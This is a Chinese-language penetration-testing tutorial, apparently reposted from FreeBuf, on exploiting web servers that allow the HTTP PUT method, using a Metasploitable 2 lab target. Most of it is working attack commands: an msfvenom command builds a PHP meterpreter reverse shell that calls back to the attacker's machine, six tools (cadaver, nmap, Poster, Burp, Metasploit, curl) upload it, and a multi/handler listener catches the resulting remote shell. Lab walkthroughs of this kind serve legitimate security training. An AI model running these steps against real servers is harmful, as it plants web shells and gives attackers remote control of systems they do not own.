挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds

图片[1]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科今天分享的文章是对HTTP PUT方法开启漏洞的多种应用讲析,在实战场景中,首先我们要确定目标网站是否启用了HTTP PUT方法,如果启用的话,我们就可以结合多种利用工具和相关方法,向目标网站上传Meterpreter反弹shell,实现进一步的渗透控制。一起来看看。

HTTP PUT方法介绍

HTTP PUT方法最早目的用于文件管理操作,可以对网站服务器中的文件实现更改删除的更新操作,该方法往往可以导致各种文件上传漏洞,造成严重的网站攻击事件。在实际运用中,若必须启用该方法,则需要对该方法涉及的相关文件资源做好严格的访问权限控制。

测试环境

目标机器:Metasploitable 2 -IP地址192.168.1.103
攻击机器:Kali Linux -IP地址 192.168.1.105

Nikto扫描目标机器HTTP PUT方法是否启用

假设我们的攻击机器Kali Linux IP地址为192.168.1.105,目标机器IP地址为192.168.1.103,且目标机器部署了WebDAV服务,一般情况下WebDAV会集成HTTP GET\PUT\POST\GET等多种方法。如下:

图片[2]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科首先,我们需要确定目标机器是否开启HTTP PUT方法。这里我们用到了扫描探测工具Nikto:

nikto -h http://192.168.1.103/dav/

图片[3]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科从探测结果可知,目标机器启用了HTTP PUT方法,那接下来,我们就考虑用多种方法向该目标机器中上传恶意PHP文件,实现进一步渗透控制。

用Msfvenom来生成反弹控制Shell

Msfvenom模块可用以下命令来自动生成我们想要的PHP反弹控制Shell,该Shell文件就是我们将要上传的恶意PHP文件:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.105 lport=4444 -f raw

图片[4]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科

复制以上黄色部份,即从<?php到die()的字段内容,并以名称shell.php保存在桌面(Desktop),以备后用。同时,我们用msfconsole命令打开Metasploit,使用模块multi/handler,执行PHP shell上传后的监听连接。

用Cadaver实现对HTTP PUT方法的漏洞利用

Cadaver是Kali中用来执行从WebDAV中上传下载文件的一个命令行工具,通过以下命令进行目标机器dav目录:

cadaver http://192.168.1.103/dav/

然后,执行shell.php上传命令:

put /root/Desktop/shell.php

图片[5]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科

访问链接192.168.1.103/dav/查看shell.php是否上传成功,可见已经成功上传:

图片[6]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科

使用之前提到的Metasploit模块multi/handler,设置LHOST 、LPORT(端口)后,以命令exploit执行后续对本机192.168.1.105:4444的监听:

msf> use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.105
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit

然后,我们访问刚才目标机器http://192.168.1.103/dav/中上传的shell.php文件,点击访问它,之后,在我们的Metasploit中即会返回一个监听反弹连接,接着输入命令meterpreter>sysinfo,即可查看到目标机器的相关操作系统信息:

图片[7]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科

用Nmap实现对HTTP PUT方法的漏洞利用

Nmap是大家再熟悉不过的安全工具了,如果目标机器开启了PUT方法,那么我们同样用Nmap可以执行shell上传,只不过我们需要事先定义好相关的上传路径和上传文件,这里就把上传路径为设置为/dav/,上传文件shell还是之前的shell.php,此处为了有所区分,我们把其名称变换为nmap.php:

nmap -p 80 192.168.1.103 –script http-put –script-args http-put.url=’/dav/nmap.php’,http-put.file=’/root/Desktop/nmap.php’

图片[8]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科nmap.php成功上传后,我们一样可通过目标机器中的URL链接访问确认:

图片[9]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科同样的,使用Metasploit模块multi/handler,设置LHOST 、LPORT(端口)后,执行对本机192.168.1.105:4444的监听,然后我们访问目标机器上的nmap.php,Metasploit中就会成功返回一个控制连接shell:

图片[10]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科

用Poster实现对HTTP PUT方法的漏洞利用

Poster是Firefox的一个应用插件,用来实现终端用户与远程Web服务端之间的HTTP交互,其中包含了GET, POST, PUT 和DELETE方法,以及相应的请求内容和请求体构造。

这里,事先准备好需要上传的poster.php(即之前的shell.php),在Firefox中安装Poster插件,从Firefox菜单栏中打开Poster,在目标URL区域按照以下URL链接填入,并选择本地桌面的poster.php作为上传文件,执行PUT操作。

图片[11]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科访问192.168.1.103/dav,确认poster.php被成功上传:

图片[12]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科使用Metasploit模块multi/handler,设置LHOST 、LPORT(端口)后,执行对本机192.168.1.105:4444的监听,然后我们访问目标机器上的poster.php,Metasploit中就会成功返回一个控制连接shell:

图片[13]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科

用Burpsuite实现对HTTP PUT方法的漏洞利用

Burpsuite是当前流行的测试利器了,通过配置拦截Intercept代理,开启拦截Intercept is on后,我们访问http://192.168.1.103,即可在拦截区域中发现以下GET请求:

图片[14]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科右键点击Send to the repeater,之后,我们把GET访求替换为PUT方法,并定义相关上传文件,即PUT /dav/burp.php HTTP/1.1,另外还需把之前的shell.php内容粘贴在末尾,执行PUT请求,目标机器给出成功响应,如下图所示:

图片[15]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科访问192.168.1.103/dav,确认burp.php已成功上传:

图片[16]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科使用Metasploit模块multi/handler,设置LHOST 、LPORT(端口)后,执行对本机192.168.1.105:4444的监听,然后我们访问目标机器上的burp.php,Metasploit中就会成功返回一个控制连接shell:

图片[17]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科

用Metasploit实现对HTTP PUT方法的漏洞利用

这里,我们还要说说用Metasploit本身来对PUT方法的漏洞利用,用其内置的auxiliary/scanner/http/http_put模块就能完成相关shell文件meter.php的上传操作:
图片[18]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科访问192.168.1.103/dav,确认meter.php已成功上传:
图片[19]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科使用Metasploit模块multi/handler设置监听,访问目标机器上的meter.php,Metasploit监听进程就会成功返回一个控制连接shell:
图片[20]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科

用cURL实现对HTTP PUT方法的漏洞利用

最后要说的当然还有cURL了,cURL也是一个流行的命令行HTTP交互工具,可用它来执行HTTPS, FTP, SCP, LDAP, Telnet等多种协议的通信交互。这里,我们用以下命令来执行对目标机器的shell文件curl.php的上传:

curl http://192.168.1.103/dav/ –upload-file /root/Desktop/curl.php -v

图片[21]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科访问192.168.1.103/dav,确认curl.php已成功上传:
图片[22]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科同样,使用Metasploit模块multi/handler设置监听,访问目标机器上的curl.php,成功返回对目标机器的控制连接shell:
图片[23]-挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用 – 作者:clouds-安全小百科

参考来源:hackingarticles,编译整理:clouds,转载请注明来自Freebuf.com

来源:freebuf.com 2021-02-23 17:57:57 by: clouds

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论